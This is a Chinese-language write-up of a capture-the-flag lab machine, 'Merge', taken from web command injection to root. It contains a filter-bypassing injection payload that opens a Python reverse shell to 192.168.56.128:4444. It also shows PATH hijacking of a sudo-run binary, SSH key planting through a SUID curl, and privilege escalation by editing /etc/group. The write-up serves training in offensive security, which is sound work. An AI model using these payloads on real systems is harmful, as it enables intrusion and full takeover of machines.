

Merge靶机测试

SHELL

PORT STATE SERVICE REASON

22/tcp open ssh syn-ack ttl 64

80/tcp open http syn-ack ttl 64

MAC Address: 08:00:27:75:DB:25 (Oracle VirtualBox virtual NIC)

开了22和80端口，访问80端口主页，发现是IP地址查询的功能，以前做过比较多类似的，猜测这里存在命令执行

拿字典快速测出%0a可以实现注入换行执行命令，这里还可以测出存在waf

4	%0a	200	309	2692
5	%0d	200	238	2685
Request		Response		
Pretty	Raw	Hex	Render	
40	<div class="result result-success">			
	<pre>			
	1.1.1.1 [澳大利亚 APNIC/CloudFlare公共DNS服务器]			
41	index.php			

直接尝试拿反弹shell，这里在测试的时候发现空格被过滤了，可以用%09代替\tab实现空格的作用，测了比较多的payload，发现可以用python弹回来

SHELL

ip=1.1.1.1%0Apython3%09-

c%09'import%09socket,os,pty%0As=socket.socket()%0As.connect(("192.168.56.128",4444))%0Aos.dup2(s.fileno(),0)%0Aos.dup2(s.fileno(),1)%0Aos.dup2(s.fileno(),2)%0Apty.spawn("/bin/bash")'

拿到www-data的shell后可以读到源码：

```

<?php
putenv('NALI_DB_IP4=qqwry');
putenv('NALI_HOME=/var/www/tool/.nali');
$output = '';
$error = '';
$input_val = '';
$blacklist = [' ', ';', '&', '|', '$', '`'];
if (isset($_POST['ip']) && $_POST['ip'] !== '') {
    $input_val = $_POST['ip'];
    $input = $_POST['ip'];
    foreach ($blacklist as $char) {
        if (strpos($input, $char) !== false) {
            $error = 'Invalid characters detected';
            break;
        }
    }
    if ($error === '') {
        $cmd = '/var/www/tool/nali ' . $input . ' 2>&1';
        $output = shell_exec($cmd);
        if ($output === null || $output === '') {
            $error = 'Query failed or no result';
        }
    }
}
?>

```

可以看到过滤的字符，以及执行命令的具体代码

此外，在 `/opt` 下找到一个 `pass.txt`，其中内容是：

`mono:0ysP8axqGSAkvXnkvxxukVnz`，可以拿到mono的shell

在mono中，可以看到能够以lnnn身份执行 `/opt/Dirty-Merge/dirty_merge` (看到命名想到之前的那个内核洞)，猜测是下一步的横移点

执行的时候，可以看到确实是以lnnn的方式来执行的，uid发生了

```

mono@Merge ~ (0.361s)
sudo -u lnnn /opt/Dirty-Merge/dirty_merge
[*] uid=1001 euid=1001 gid=1001 egid=1001

```

但是报错，丢给AI告诉我是 `[-] fixed behavior: byte unchanged at index=16`，这说明漏洞利用的关键步骤——“往只读内存里强行写入恶意字节 (smashing)”失败了，数

据并没有被成功篡改

同时可以看到靶机上给了DirtyMerge的源码，源码可以直接丢给AI分析

此外还注意到sudo权包括了 `env_keep+=PATH, !secure_path`，那么意味着当使用sudo时，PATH不会发生变化，且不会发生覆盖的情况，那么使用sudo执行命令时，是不会变的，猜测利用点应该是PATH路径劫持

把源码和思路丢给AI审计后可以发现执行了系统的 `ip` 和 `ethtool` 命令（没用绝对路径）

```
ret = system("ip link set lo up");
if (ret != 0)
    gate_fail("nsB: ip link set lo up");

ret = system("ip addr add 10.0.0.2/24 dev veth1");
if (ret != 0)
    gate_fail("nsB: ip addr add veth1");

ret = system("ip link set veth1 up");
if (ret != 0)
    gate_fail("nsB: ip link set veth1 up");

ret = system("ethtool -K veth1 gro on");
if (ret != 0)
    gate_fail("nsB: ethtool -K veth1 gro on");
```

那么就可以尝试伪造一下同名的命令来实现PATH劫持

```
echo 'bash' > /tmp/path/ip
chmod +x /tmp/path/ip
PATH=/tmp/path:$PATH sudo -u lnnn /opt/Dirty-Merge/dirty_merge
[*] uid=1001 euid=1001 gid=1001 egid=1001
[*] mode=xfrm_espintcp_pagecache_replace collateral=after

[*] target=/usr/bin/su size=84360
outer_write_open_denied=1 errno=13 (Permission denied)
usersns_setup: outer_uid=1001 outer_gid=1001 ns_uid=0 ns_gid=0
netns_setup=1
root@Merge:/opt/Dirty-Merge#
```

发现提示符变成了 `root`？但是实际上无法进入 `/root`，会提示权限不允许，但是可以进入 `/home/lnnn`，能够读到user的flag

```
root@Merge:/opt/Dirty-Merge# cd /home/lnnn
root@Merge:~# ls
user.txt
root@Merge:~# cat user.txt
flag{user-b67448e8af484d5f8958f307b3d57f09}
```

在这里可以写私钥来实现稳定拿lnnn的shell

```
root@Merge:~# mkdir .ssh
root@Merge:~# echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINxmC3oAwhoUI9dsQmaITKumy6JDB678d9c+DnbUi9tq xufengzhi@tonglinggejimoDeMacBook-Air.local'>authorized_keys
root@Merge:~# chmod 700 .ssh
root@Merge:~# mv authorized_keys .ssh
root@Merge:~# chmod 600 .ssh/authorized_keys
```

注意到/opt下还有一个admin的目录，且有用户叫admin，猜测这里继续横向移动

```
ls -l /opt/admin
total 320
-rwsr-sr-x 1 admin admin 321880 May 22 09:19 curl
-rw-r--r-- 1 root  root    105 May 22 09:20 hint.txt
```

SHELL

目录下有一个hint.txt和suid的curl，查看到提示：

```
cat hint.txt
关注详细的参数帮助信息
Focus on the detailed parameter help information
```

SHELL

curl执行的时候会以admin的身份，尝试扒拉函数写文件改可操控的权限，curl是可以以file协议读取文件的，同时还支持-o参数写入文件

```
./curl file:///tmp/admin_key -o /opt/admin/123
```

SHELL

那么就可以尝试给admin写入私钥，但是这样的话还需要确保/home/admin/.ssh文件夹存在，继续扒拉参数，可以看到

```
--create-dirs
local directory hierarchy
```

SHELL
Create necessary

这个参数可以在本地创建必要的目录，那就可以直接尝试写入了

```
./curl file:///tmp/admin_key --create-dirs -o
/home/admin/.ssh/authorized_keys
```

SHELL

拿到admin的权限后，经过翻找可以看到 **admin** 能够编辑 **/etc/group**

```
SHELL
find / \( -path /home/admin -o -path /sys -o -path /proc -o -
path /run -o -path /dev \) -prune -o -writable -print
2>/dev/null
/usr/lib/systemd/system/x11-common.service
/usr/lib/systemd/system/sudo.service
/usr/lib/systemd/system/cryptdisks-early.service
/usr/lib/systemd/system/hwclock.service
/usr/lib/systemd/system/cryptdisks.service
/tmp
/tmp/cf31-probe-9400.py
/tmp/.font-unix
/tmp/.XIM-unix
/tmp/.ICE-unix
/tmp/.X11-unix
/var/tmp
/var/lock
/var/lib/php/sessions
/opt/admin
/opt/admin/1234
/opt/admin/123
/opt/admin/curl
/etc/group
```

直接尝试修改group来实现提权

因为有mono的密码，所以可以直接给 **admin** 加入sudo组权限，然后mono就可以直接sudo提权至root

```
SHELL
cat /etc/group | grep sudo
sudo:x:27:mono
```

然后登录mono，可以看到已经进入了sudo组，可以执行任意命令

```
mono@Merge ~ (0.063s)
```

```
id
```

```
uid=1000(mono) gid=1000(mono) groups=1000(mono),27(sudo)
```

```
mono@Merge ~ (1m 19.00s)
```

```
sudo bash
```

```
[sudo] password for mono:
```

```
root@Merge:/home/mono# id
```

```
uid=0(root) gid=0(root) groups=0(root)
```

```
root@Merge:/home/mono# cat /root/root.txt
```

```
flag{root-1b5f527b85d84d80816879c8044b0ea9}
```

此外也可以把用户添加至disk组，用 **debugfs** 读和写任意文件即可